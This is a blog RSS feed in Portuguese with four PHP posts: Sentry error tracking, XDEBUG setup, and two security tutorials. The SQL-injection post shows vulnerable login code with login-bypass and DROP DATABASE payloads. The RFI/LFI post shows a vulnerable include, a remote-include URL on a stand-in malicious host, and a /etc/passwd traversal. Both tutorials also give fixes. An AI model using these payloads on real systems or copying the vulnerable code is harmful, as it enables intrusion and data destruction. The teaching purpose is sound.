<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>PHP Archives - Hiago Silva Souza</title>
	<atom:link href="https://www.hiago.me/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.hiago.me/category/php/</link>
	<description></description>
	<lastBuildDate>Fri, 19 Oct 2018 23:27:49 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://www.hiago.me/wp-content/uploads/2019/01/cropped-icon-hiagus-2-32x32.png</url>
	<title>PHP Archives - Hiago Silva Souza</title>
	<link>https://www.hiago.me/category/php/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">147457425</site>	<item>
		<title>Error Tracking: Localizando bugs antes de seus clientes ?</title>
		<link>https://www.hiago.me/2018/10/05/error-tracking-localizando-bugs-antes-de-seus-clientes/</link>
					<comments>https://www.hiago.me/2018/10/05/error-tracking-localizando-bugs-antes-de-seus-clientes/#comments</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Fri, 05 Oct 2018 11:00:09 +0000</pubDate>
				<category><![CDATA[Angular]]></category>
		<category><![CDATA[Infraestrutura]]></category>
		<category><![CDATA[Ionic]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[NodeJS]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sentry]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[qualidade]]></category>
		<category><![CDATA[sentry]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tracking]]></category>
		<guid isPermaLink="false">https://www.hiago.me/?p=478</guid>

					<description><![CDATA[<p>Você tem problema em não conseguir simular ou prever os erros que acontecem com o seu software? Caso a resposta seja sim pare o que está fazendo e leia esse post agora! Vamos falar de uma ferramenta para error tracking que vai salvar sua vida e tudo isso com um custo 0. O que é &#8230;</p>
<p>The post <a href="https://www.hiago.me/2018/10/05/error-tracking-localizando-bugs-antes-de-seus-clientes/">Error Tracking: Localizando bugs antes de seus clientes ?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Você tem problema em não conseguir simular ou prever os erros que acontecem com o seu software? Caso a resposta seja sim pare o que está fazendo e leia esse post agora! Vamos falar de uma ferramenta para error tracking que vai salvar sua vida e tudo isso com um custo 0.</p>
<h1>O que é Error Tracking?</h1>
<p><span style="display: inline !important; float: none; background-color: transparent; color: #333333; cursor: text; font-family: 'Source Sans Pro',Arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;">[wp_ad_camp_3]</span></p>
<p>Error Tracking é o ato de você rastrear erros. Aplicado na área de software o &#8220;Bug Tracking&#8221; é um aplicativo de software projetado para ajudar na <strong>garantia da qualidade de software</strong>. Ter um sistema de rastreamento de bugs é extremamente valioso no desenvolvimento de software, e eles são usados extensivamente por empresas que desenvolvem produtos de software.</p>
<p>Existem sistemas para gerir erros como o MantisBT mas hoje vamos falar de um carinha &#8220;diferente&#8221;. Apesar do MantisBT ser uma ferramenta muito popular todo o seu processo querendo ou não inicia com a iteração do usuário e nosso objetivo no post é descobrir bugs antes dos clientes reportarem ou pelo menos descobrir o máximo possível.</p>
<h1>O que eu ganho com isso?</h1>
<p>Podemos começar com tempo? Sim né, tempo é dinheiro! Se você diminui tempo para resolver problemas, automaticamente ganha tempo para criar novas soluções. Após isso acredito que á confiança de seus clientes, já pensou um cliente seu reportar um problema e você talvez já ter a solução? Ou melhor ainda, talvez ele nem precise reportar isso a você! Lindo né? Não podemos deixar de falar da qualidade de seu produto, pois a evolução vai ser constante.</p>
<p>Existem muitos ganhos poderia ficar aqui falando sobre todos eles, mas com os ganhos relatados acima já vale a pena saber mais sobre o assunto né?</p>
<h1>Onde eu posso aplicar?</h1>
<p>Praticamente em qualquer produto de software, seja aplicativos mobile, api&#8217;s, front-end, é escrito usando uma linguagem de programação suportada (acredite o suporte é grande) então você pode rastrear os erros fazendo uso da ferramenta. Eu já apliquei em aplicações escritas em PHP, Java, Ionic, FrontEnd&#8217;s HTML + Javascript&#8230;</p>
<h1>Qual o trabalho para implantar?</h1>
<p><span style="display: inline !important; float: none; background-color: transparent; color: #333333; cursor: text; font-family: 'Source Sans Pro',Arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;">[wp_ad_camp_2]</span></p>
<p>Posso dizer que foi uma das ferramentas mais rápidas que já implantei na vida! Menos de 15 minutos e uau ? estava rastreando tudo. Mas isso vai alem de rastrear os erros, então temos um trabalhinho em reanalisar nosso processo de software, como por exemplo. Você versiona sua ferramenta usando um VCS? Sua aplicação tem uma politica de versionamento como por exemplo o <a href="https://semver.org/" target="_blank" rel="noopener">Semantic Versioning</a>? Isso tudo é importante mas vamos deixar esses detalhes para um próximo post.</p>
<h1>Qual ferramenta é essa, fala logo Hiago ?!</h1>
<p><img decoding="async" class="alignnone size-medium wp-image-479" src="https://www.hiago.me/wp-content/uploads/2018/10/skydive-654822cb21db40a6b29907dc217cb209edf32a552938c0f44758c80b853e5037.svg" alt="" width="1" height="1" /> <img decoding="async" class=" wp-image-480 alignleft" src="https://www.hiago.me/wp-content/uploads/2018/10/sentry-dev-heroes-300x214.png" alt="" width="149" height="106" srcset="https://www.hiago.me/wp-content/uploads/2018/10/sentry-dev-heroes-300x214.png 300w, https://www.hiago.me/wp-content/uploads/2018/10/sentry-dev-heroes-768x549.png 768w, https://www.hiago.me/wp-content/uploads/2018/10/sentry-dev-heroes.png 817w" sizes="(max-width: 149px) 100vw, 149px" />Apresento a vocês o <a href="https://sentry.io/welcome/">Sentry</a> ele atende tudo o que mencionei de forma simples, clara e objetiva! O Sentry é uma plataforma de rastreamento de erro de código aberto que fornece lógica completa de aplicativos, contexto profundo e visibilidade em toda a pilha em tempo real. <em><strong>Pela primeira vez</strong></em>, os desenvolvedores podem corrigir erros em todos os estágios do ciclo de vida do produto, bem antes dos usuários encontrarem um problema.</p>
<h1></h1>
<h1>Vamos colocar a mão na massa?</h1>
<p>Então vamos ver isso funcionando né pessoal, muito papo e pouca ação ninguém gosta disso. Para o exemplo a seguir eu gostaria de deixar umas coisas claras.</p>
<ol>
<li>O Sentry é gratuito caso você queira baixar o sistema e hospedar ele por conta própria, mas ele oferece serviços em cloud e isso é pago (mas tem uma conta free com algumas limitações). Para mostrar o funcionamento, vou estar fazendo o uso da conta free deles.</li>
<li>Capturar informações do usuário sem seu consentimento &#8220;mesmo que o produto seja seu&#8221; pode causar problemas jurídicos, então deixe bem claro isso em sua política de privacidade e consulte o jurídico de sua empresa.</li>
</ol>
<p>Agora que já sabemos essas informações, vamos lá fazer um <a href="https://sentry.io/signup/" target="_blank" rel="noopener">registro no sentry</a> e criar uma conta grátis. Após preencher os dados ele já vai perguntar em qual linguagem seu projeto está escrito, pela popularidade e facilidade vou mostrar o exemplo para rastrear erros no javascript ok? Então podem selecionar o JavaScript colocar um nome para o seu projeto e clicar em &#8220;Create Project&#8221;.</p>
<p>Ao finalizar esse processo você vai receber as instruções para configurar seu projeto, no nosso caso é só incluir uma tag `script` em nosso index.html e logo após executar a função do sentry para capturar os erros, <em>acho bom lembrar que esses devem ser os primeiros scripts de sua aplicação a serem carregados</em>&#8230; E após isso clicar em All Done.</p>
<p><img fetchpriority="high" decoding="async" class="alignnone wp-image-484" src="https://www.hiago.me/wp-content/uploads/2018/10/sentry-error-info-300x173.png" alt="" width="409" height="236" srcset="https://www.hiago.me/wp-content/uploads/2018/10/sentry-error-info-300x173.png 300w, https://www.hiago.me/wp-content/uploads/2018/10/sentry-error-info-768x443.png 768w, https://www.hiago.me/wp-content/uploads/2018/10/sentry-error-info.png 812w" sizes="(max-width: 409px) 100vw, 409px" /></p>
<h2>Testando uma captura</h2>
<p><span style="display: inline !important; float: none; background-color: transparent; color: #333333; cursor: text; font-family: 'Source Sans Pro',Arial,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;">[wp_ad_camp_1]</span></p>
<p>Agora é simples, você pode gerar um problema &#8220;proposital&#8221; e ver como ele chega no Sentry. Vou deixar o código HTML abaixo para vocês fazerem seus testes, lembrem-se de mudar a linha 6 com suas credenciais.</p>
<pre class="brush: xml; title: ; notranslate">
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;pt-br&quot;&gt;
&lt;head&gt;
	&lt;title&gt;Teste Sentry - Hiago.me&lt;/title&gt;
	&lt;script src=&quot;https://browser.sentry-cdn.com/4.0.6/bundle.min.js&quot; crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
	&lt;script&gt;Sentry.init({ dsn: 'INSIRA_SEU_DSN' });&lt;/script&gt;
	
	&lt;script&gt;
		var gerarErro = function () {
			var teste = null;
			teste.Acao();
		};
	&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
	&lt;h1&gt;Testando erro&lt;/h1&gt;
	&lt;button onclick=&quot;gerarErro()&quot;&gt;Clique para gerar um erro&lt;/button&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>Após clicarem no botão ele vai chamar um método dentro de um variável que é null e isso vai ser capturado e reportado para você ??. Conforme a imagem abaixo.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-485" src="https://www.hiago.me/wp-content/uploads/2018/10/erro-gerado-sentry-300x202.png" alt="" width="478" height="322" srcset="https://www.hiago.me/wp-content/uploads/2018/10/erro-gerado-sentry-300x202.png 300w, https://www.hiago.me/wp-content/uploads/2018/10/erro-gerado-sentry.png 761w" sizes="(max-width: 478px) 100vw, 478px" /></p>
<h1>Conclusão</h1>
<p>Com o Sentry é muito simples fazer o seu Error Tracking, ele é uma ferramenta enorme e tem muitas outras funcionalidades que não quis citar aqui no post. Essa foi uma apresentação de uma série de posts que vou fazer sobre o assunto. Espero que tenham gostado e quero que fiquem por dentro de outras dicas por isso curtam minha <a href="https://www.facebook.com/hiagodotme" target="_blank" rel="noopener">página no facebook</a> =)</p>
<p>The post <a href="https://www.hiago.me/2018/10/05/error-tracking-localizando-bugs-antes-de-seus-clientes/">Error Tracking: Localizando bugs antes de seus clientes ?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2018/10/05/error-tracking-localizando-bugs-antes-de-seus-clientes/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">478</post-id>	</item>
		<item>
		<title>Configurar o XDEBUG no Linux usando o PHPStorm</title>
		<link>https://www.hiago.me/2017/06/04/depurando-php-no-linux-com-xdebug/</link>
					<comments>https://www.hiago.me/2017/06/04/depurando-php-no-linux-com-xdebug/#comments</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sun, 04 Jun 2017 21:37:31 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[ide]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[phpstorm]]></category>
		<category><![CDATA[xdebug]]></category>
		<guid isPermaLink="false">http://www.hiago.me/?p=196</guid>

					<description><![CDATA[<p>Olá Pessoal, vocês já precisaram configurar o XDEBUG no Linux usando o PHPStorm? Tem tanta configuração, e tanto material nos blogs da JetBrains que chega a confundir a cabeça. Então resolvi postar uma maneira rápida e simples para fazer a configuração do seu XDEBUG com o seu PHPStorm. Fiz esse procedimento usando o Fedora Workstation &#8230;</p>
<p>The post <a href="https://www.hiago.me/2017/06/04/depurando-php-no-linux-com-xdebug/">Configurar o XDEBUG no Linux usando o PHPStorm</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Olá Pessoal, vocês já precisaram configurar o XDEBUG no Linux usando o PHPStorm? Tem tanta configuração, e tanto material nos blogs da JetBrains que chega a confundir a cabeça. Então resolvi postar uma maneira rápida e simples para fazer a configuração do seu XDEBUG com o seu PHPStorm.</p>
<blockquote><p>Fiz esse procedimento usando o Fedora Workstation 25.</p></blockquote>
<p>[wp_ad_camp_3]</p>
<h1>Instalando o XDEBUG</h1>
<p>Primeiro você deve acessar o seu terminal, e executar o comando abaixo como super usuário, no caso do fedora basta digitar o sudo antes do comando para se elevar com direitos administrativos no sistema operacional.</p>
<pre class="brush: bash; title: ; notranslate">

$ sudo dnf install php-xdebug

</pre>
<p>Pronto, após a execução do comando acima você já deve ter o XDEBUG instalado.</p>
<h1>Configurando o XDEBUG no php.ini</h1>
<p>[wp_ad_camp_1]</p>
<p>Primeiro passo é saber onde está o seu php.ini, para isso crie um arquivo teste.php com o conteúdo abaixo:</p>
<pre class="brush: php; title: ; notranslate">

&lt;?php

echo phpinfo();

</pre>
<p>Acesse pelo navegador, e localize a linha abaixo:</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-199" src="http://www.hiago.me/wp-content/uploads/2017/06/Captura-de-tela-de-2017-06-04-18-06-28-300x35.png" alt="" width="720" height="84" srcset="https://www.hiago.me/wp-content/uploads/2017/06/Captura-de-tela-de-2017-06-04-18-06-28-300x35.png 300w, https://www.hiago.me/wp-content/uploads/2017/06/Captura-de-tela-de-2017-06-04-18-06-28-768x90.png 768w, https://www.hiago.me/wp-content/uploads/2017/06/Captura-de-tela-de-2017-06-04-18-06-28.png 959w" sizes="(max-width: 720px) 100vw, 720px" /></p>
<p>No caso o arquivo do xdebug encontra-se em <strong>/etc/php.d/15-xdebug.ini </strong>vamos editar ele e realizar as configurações necessárias.</p>
<p>Ao abrir o arquivo você provavelmente vai encontrar o conteúdo &#8220;zend_extension=xdebug.so&#8221;, acima dele adicione &#8220;[xDebug]&#8221; e abaixo as configurações para fazer o phpstorm funcionar com ele:</p>
<pre class="brush: plain; title: ; notranslate">

&#x5B;xdebug]
zend_extension=xdebug.so
xdebug.default_enable=1
xdebug.idekey=PHPSTORM
xdebug.remote_enable=1
xdebug.remote_autostart=1
xdebug.remote_port=9000
xdebug.remote_connect_back=1

</pre>
<p>Após isso reinicie o seu servidor http, no caso do Fedora estou usando o apache. Para reiniciar basta digitar o comando abaixo:</p>
<pre class="brush: bash; title: ; notranslate">

sudo service httpd restart

</pre>
<h1>Testando no phpStorm</h1>
<p>[wp_ad_camp_2]</p>
<p>Para testar no phpstorm, crie um arquivo teste.php faça alguma operação nele, coloque um breakpoint. Clique sobre o listener (<img loading="lazy" decoding="async" class="alignnone size-full wp-image-206" src="http://www.hiago.me/wp-content/uploads/2017/06/Captura-de-tela-de-2017-06-04-18-17-56.png" alt="" width="31" height="35" />) e assim que ele ficar verde pode executar sua aplicação pelo navegador.</p>
<p>Pronto, XDEBUG instalado e pronto para uso pessoal.</p>
<p>&nbsp;</p>
<p>Links úteis:</p>
<p>XDebug: <a href="https://www.xdebug.org" target="_blank" rel="noopener noreferrer">https://www.xdebug.org</a></p>
<p>PHPStorm: <a href="https://www.jetbrains.com/phpstorm" target="_blank" rel="noopener noreferrer">https://www.jetbrains.com/phpstorm</a></p>
<p>Fedora WorkStation: <a href="https://getfedora.org/pt_BR/workstation/" target="_blank" rel="noopener noreferrer">https://getfedora.org/pt_BR/workstation/</a></p>
<p>The post <a href="https://www.hiago.me/2017/06/04/depurando-php-no-linux-com-xdebug/">Configurar o XDEBUG no Linux usando o PHPStorm</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2017/06/04/depurando-php-no-linux-com-xdebug/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">196</post-id>	</item>
		<item>
		<title>Segurança: SQL Injection, Os dados de sua empresa estão protegidos?</title>
		<link>https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/</link>
					<comments>https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/#comments</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sun, 30 Apr 2017 23:54:38 +0000</pubDate>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql-injection]]></category>
		<guid isPermaLink="false">http://www.hiago.me/?p=131</guid>

					<description><![CDATA[<p>[wp_ad_camp_3] SQL Injection, é um furo muito comum em programas de computador. Essa falha atinge sistemas que façam interação com bases de dados, é uma falha que pode levar o cracker a acessar, manipular, modificar e até remover informações de seu banco de dados sem autorização. Para isso basta sua aplicação se comunicar com o &#8230;</p>
<p>The post <a href="https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/">Segurança: SQL Injection, Os dados de sua empresa estão protegidos?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>[wp_ad_camp_3]</p>
<p>SQL Injection, é um furo muito comum em programas de computador. Essa falha atinge sistemas que façam interação com bases de dados, é uma falha que pode levar o cracker a acessar, manipular, modificar e até remover informações de seu banco de dados sem autorização. Para isso basta sua aplicação se comunicar com o banco de dados sem tratar a entrada de usuários. O SQL Injection, pode ser explorado desde aplicações desktop&#8217;s até aplicações web.</p>
<h1>O Ataque!</h1>
<p>[wp_ad_camp_1]</p>
<p>Um cracker pode fazer o uso de uma entrada de uma informação que interaja com alguma consulta SQL dentro da aplicação.</p>
<p>Exemplo: Um sistema de autenticação, até mesmo para um script para buscar um conteúdo.</p>
<p>Supondo que você seja uma pessoa que saiba sobre programação, observe o código abaixo escrito em PHP:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$conn = mysql_connect('localhost','root','suasenha');
mysql_select_db('teste',$conn);
$autenticar = mysql_query('SELECT COUNT(1) as qtd FROM usuario WHERE &amp;nbsp;usuario=&quot;'.$_POST&#x5B;'usuario'].'&quot; AND senha = &quot;'.$_POST&#x5B;'pwd'].'&quot;', $conn);
$res = mysql_fetch_assoc($autenticar);
if($res&#x5B;'qtd'] &gt;= 1) {
echo &quot;ACESSOU, TUDO OK!!!&quot;;
} else {
echo &quot;Usuário ou senha incorretos.&quot;;
}
</pre>
<p>Agora vamos fazer um teste, colocando no payload da requisição o valor admin para a chave &#8216;usuario&#8217; e admin para a chave &#8216;pwd&#8217;. A query que iria para o MySQL executar seria a query abaixo:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;admin&quot; AND senha = &quot;admin&quot;
</pre>
<p>Agora vamos modificar as informações enviadas pelo usuário, vamos supor que seu usuário seja um cracker e deseja obter acesso a sua aplicação para isso ele vai modificar o valor de <strong>usuario </strong>para <strong>admin&#8221; OR 1=1 &#8212; </strong>agora vamos fazer a mesma análise de como a query vai ser enviada ao banco de dados, segue abaixo:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;admin&quot; OR 1=1 --&quot; AND senha = &quot;&quot;
</pre>
<p>Caso você possua o usuário que o cracker colocou na injeção, ele vai ter o acesso sem necessitar de possuir a senha.<br />
Esse tipo de ataque, abre leque para que o cracker explore falhas de <a href="http://www.hiago.me/2017/04/30/seguranca-o-que-e-xss/">XSS</a> em telas de cadastro em seus painéis administrativos.</p>
<p>Mas falhas de injeção abrem um leque muito alto para o atacante, como por exemplo a exclusão de sua própria base de dados, imagine que no campo de usuário foi informado esse conteúdo <strong>&#8220;; DROP DATABASE DATABASE(); &#8212; </strong>a query final seria a seguinte:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;&quot;; DROP DATABASE DATABASE(); --&quot; AND senha = &quot;&quot;
</pre>
<p>E assim você acaba de perder TODO o seu banco de dados, tudo isso por não tratar uma simples entrada de informação.</p>
<h1>Como se prevenir:</h1>
<p>[wp_ad_camp_2]</p>
<p>Para se prevenir pasta você fazer o tratamento de qualquer informação antes de encaminha-lá ao banco de dados.</p>
<p>Vamos mudar a extensão do <a href="http://php.net/manual/pt_BR/function.mysql-connect.php">mysql_*</a> para a extensão do <a href="http://php.net/manual/pt_BR/ref.pdo-mysql.php">PDO </a>do php:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$conn = new PDO('mysql:host=localhost;dbname=teste','root','suasenha');
$autenticar = $conn-&amp;gt;prepare('SELECT COUNT(1) as qtd FROM usuario WHERE &amp;nbsp;usuario=:usuario AND senha = :pwd');
$autenticar-&gt;bindParam(':usuario', $_GET&#x5B;'usuario']);
$autenticar-&gt;bindParam(':pwd', $_GET&#x5B;'pwd']);
$autenticar-&gt;execute();
$res = $autenticar-&gt;fetch(PDO::FETCH_ASSOC);
if($res&#x5B;'qtd'] &gt;= 1) {
     echo &quot;ACESSOU, TUDO OK!!!&quot;;
} else {
     echo &quot;Usuário ou senha incorretos.&quot;;
}
</pre>
<p>Pronto! A partir de agora qualquer tipo de informação enviada pelo usuário vai ser tratada, vamos ver como ficaria a consulta enviada para o MySQL com o valor da chave usuario contendo <strong>admin&#8221; OR 1=1 &#8212;</strong>:</p>
<pre class="brush: sql; title: ; notranslate">
SELECT COUNT(1) as qtd FROM usuario WHERE usuario=&quot;admin\&quot; OR 1=1 --&quot; AND senha = &quot;&quot;
</pre>
<p>Obrigado!</p>
<p>Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.</p>
<p>The post <a href="https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/">Segurança: SQL Injection, Os dados de sua empresa estão protegidos?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2017/04/30/seguranca-sql-injection-os-dados-de-sua-empresa-estao-protegidos/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">131</post-id>	</item>
		<item>
		<title>Segurança: O que é RFI / LFI?</title>
		<link>https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/</link>
					<comments>https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/#comments</comments>
		
		<dc:creator><![CDATA[Hiago Souza]]></dc:creator>
		<pubDate>Sat, 29 Apr 2017 21:24:50 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[prevenção]]></category>
		<category><![CDATA[rfi]]></category>
		<category><![CDATA[segurança]]></category>
		<guid isPermaLink="false">http://localhost/hiago/?p=62</guid>

					<description><![CDATA[<p>[wp_ad_camp_3] RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a &#8230;</p>
<p>The post <a href="https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/">Segurança: O que é RFI / LFI?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>[wp_ad_camp_3]</p>
<p>RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a aplicação.</p>
<h1>O Ataque!</h1>
<p>[wp_ad_camp_1]</p>
<p>O ataque ocorre quando o desenvolvedor faz a inclusão de arquivos, baseado em entradas dos usuários. Vamos colocar como exemplo, um formulário para selecionar o idioma de uma página:</p>
<blockquote><p>pagina.php</p></blockquote>
<pre class="brush: php; title: ; notranslate">
&lt;?php
   if(isset($_GET&#x5B;'idioma'))
        require_once($_GET&#x5B;'idioma']);
?&gt;
</pre>
<pre class="brush: xml; title: ; notranslate">


&lt;form method=&quot;GET&quot;&gt;
     &lt;select name=&quot;idioma&quot;&gt;
          &lt;option value=&quot;portugues.php&quot;&gt;Português&lt;/option&gt;
          &lt;option value=&quot;ingles.php&quot;&gt;Inglês&lt;/option&gt;
     &lt;/select&gt;
&lt;/form&gt;
</pre>
<p>Agora o php inclui um arquivo baseado na entrada do usuário, vamos ver alguns exemplos de entradas que poderiam causar dor de cabeça:</p>
<p>&nbsp;</p>
<blockquote><p>Exemplo de <strong>RFI</strong> (chamando um arquivo remoto&#8230;)</p>
<p>pagina.php?idioma=<b>http://malvado.exemplo.com.br/script-php-do-mal.txt?</b>. Agora imagine que o script-php-do-mal.txt contenha o seguinte conteúdo &#8220;@unlink(__DIR__ . &#8216;/pagina.php&#8217;);&#8221; pronto você acaba de perder seu script!</p></blockquote>
<blockquote><p>Exemplo de <strong>LFI</strong> (Chamando um arquivo local&#8230;)</p>
<p>pagina.php?idioma=<b>../../../../../etc/passwd%00?</b>. Você acaba de listar a senha de seus usuários UNIX online!</p></blockquote>
<p>&nbsp;</p>
<p><strong>Observação: </strong>Os exemplos acima são muitos comuns, e muitos provedores de hospedagem bloqueiam o acesso aos arquivos/url externas como citados nos exemplos. Os exemplos citados foram usados somente para mostrar possibilidades para exploração das falhas.</p>
<h1>Como se prevenir:</h1>
<p>[wp_ad_camp_2]</p>
<p>Caso você não seja o desenvolvedor e queira fazer uma precaução via servidor, você pode estar trabalhando com as configurações do PHP (ou do interpretador/linguagem que estiver usando), para isso desabilite a inclusão de URL&#8217;s no seu php.ini, para isso basta modificar o valor de allow_url_include para Off. No caso de LFI, o correto é o tratamento no próprio script (não fazendo uso de inclusões baseadas em informações de usuários), mas você pode se prevenir fazendo bom uso dos direitos que o próprio sistema operacional lhe oferece.</p>
<p>Obrigado!</p>
<p>Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.</p>
<p>The post <a href="https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/">Segurança: O que é RFI / LFI?</a> appeared first on <a href="https://www.hiago.me">Hiago Silva Souza</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.hiago.me/2017/04/29/seguranca-o-que-e-rfi-lfi/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">62</post-id>	</item>
	</channel>
</rss>
